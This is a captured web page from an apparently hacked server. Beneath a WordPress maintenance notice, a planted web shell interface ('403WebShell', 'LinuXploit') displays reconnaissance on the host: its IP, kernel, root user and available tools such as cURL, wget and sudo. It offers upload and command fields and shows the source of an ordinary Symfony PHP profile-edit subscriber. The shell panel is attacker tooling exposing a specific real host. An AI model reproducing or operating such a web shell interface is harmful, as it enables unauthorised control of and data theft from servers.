WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/EventSubscriber/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/EventSubscriber/ProfileEditSubscriber.php
<?php

namespace App\EventSubscriber;

use App\Entity\FtpUser;
use App\Entity\User;
use App\Util\Mailer;
use Doctrine\ORM\EntityManagerInterface;
use FOS\UserBundle\Event\FormEvent;
use FOS\UserBundle\Event\UserEvent;
use FOS\UserBundle\Model\UserManagerInterface;
use FOS\UserBundle\Util\TokenGenerator;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\DependencyInjection\ParameterBag\ParameterBagInterface;
use Symfony\Component\EventDispatcher\EventSubscriberInterface;
use Symfony\Component\EventDispatcher\Event;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\RedirectResponse;
use Symfony\Component\HttpFoundation\Session\SessionInterface;
use Symfony\Component\HttpKernel\Event\GetResponseEvent;
use Symfony\Component\HttpKernel\Event\RequestEvent;
use Symfony\Component\Routing\RouterInterface;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;

class ProfileEditSubscriber implements EventSubscriberInterface
{

    private $userName;
    private $router;
    private $session;
    private $tokenStorage;
    private $mailer;
    private $em;
    private $userManager;
    private $container;
    private $params;

    public function __construct(Mailer $mailer, RouterInterface $router, SessionInterface $session, EntityManagerInterface $em,
                                TokenStorageInterface $tokenStorage, UserManagerInterface $userManager,ContainerInterface $container, ParameterBagInterface $params)
    {
        $this->mailer=$mailer;
        $this->router = $router;
        $this->session = $session;
        $this->tokenStorage = $tokenStorage;
        $this->em = $em;
        $this->userManager = $userManager;
        $this->container =$container;
        $this->params = $params;
    


    }

    public function onFosUserProfileEditInitialize(Event $event)
    {
        $this->userName = $event->getUser()->getUserName();

    }

    /**
     * @param Event $event
     * @throws \Throwable
     * @throws \Twig_Error_Loader
     * @throws \Twig_Error_Runtime
     * @throws \Twig_Error_Syntax
     */
    public function onFosUserProfileEditCompleted(Event $event)
    {

        $user = $event->getUser();

        if ($user->getUserName() != $this->userName && !empty($user->getFtpUser()))
        {
            $ftp_directory = $this->params->get('ftp_directory');
            $filesystem = new Filesystem();

            try {
                $ftpPath = $ftp_directory . DIRECTORY_SEPARATOR . $this->userName;

                if (!$filesystem->exists($ftpPath)) {
                    $ftpPath = $ftp_directory . DIRECTORY_SEPARATOR . strtolower($this->userName);
                }
                if ($filesystem->exists($ftpPath)) {
                    $filesystem->rename( $ftpPath , $ftp_directory . DIRECTORY_SEPARATOR . $user->getUserName());
                    $newFtpPath = $ftp_directory . DIRECTORY_SEPARATOR . $user->getUserName();
                    if($filesystem->exists($newFtpPath)){
                        //$filesystem->chown($newFtpPath,'www-data');
                        /**
                         * @var $ftpUser FtpUser
                         */
                        $ftpUser = $user->getFtpUser();
//                        if ($ftpUser != null) {
//                            $ftpUser->setUserId($user->getUserName());
//                            $ftpUser->setHomedir($newFtpPath);
//                            $this->em->persist($ftpUser);
//                            $this->em->flush();
//                        }
//                        //$filesystem->chgrp($newFtpPath,'www-data');
//                        $filesystem->chmod($newFtpPath,0777,0000,true);
                    }
                }

            } catch (IOExceptionInterface $exception) {
                echo "An error occurred while creating your directory at " . $exception->getPath();
                die;
            }
            
        }

    }
 
    public function  onRegistrationSuccess(FormEvent $event){
        if($event->getForm()->getData()->getTermsAgreement()){
            //bot
            $event->stopPropagation();
            $event->setResponse(
                new RedirectResponse(
                    $this->router->generate('fos_user_registration_check_email')
                )
            );

        }

    }

    public function onRegistrationComplete(UserEvent $event)
    {
        if($event->getUser()->getTermsAgreement()){
            //must be a bot. So we delete
            $this->userManager->deleteUser($event->getUser());
            $event->setResponse(
                new RedirectResponse(
                    $this->router->generate('fos_user_registration_check_email')
                )
            );
        }

    }

    public static function getSubscribedEvents()
    {
        return [
            'fos_user.registration.completed' => 'onRegistrationComplete',
            'fos_user.registration.success' => ['onRegistrationSuccess',-10],
            'fos_user.profile.edit.completed' => 'onFosUserProfileEditCompleted',
            'fos_user.profile.edit.initialize' => 'onFosUserProfileEditInitialize',
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit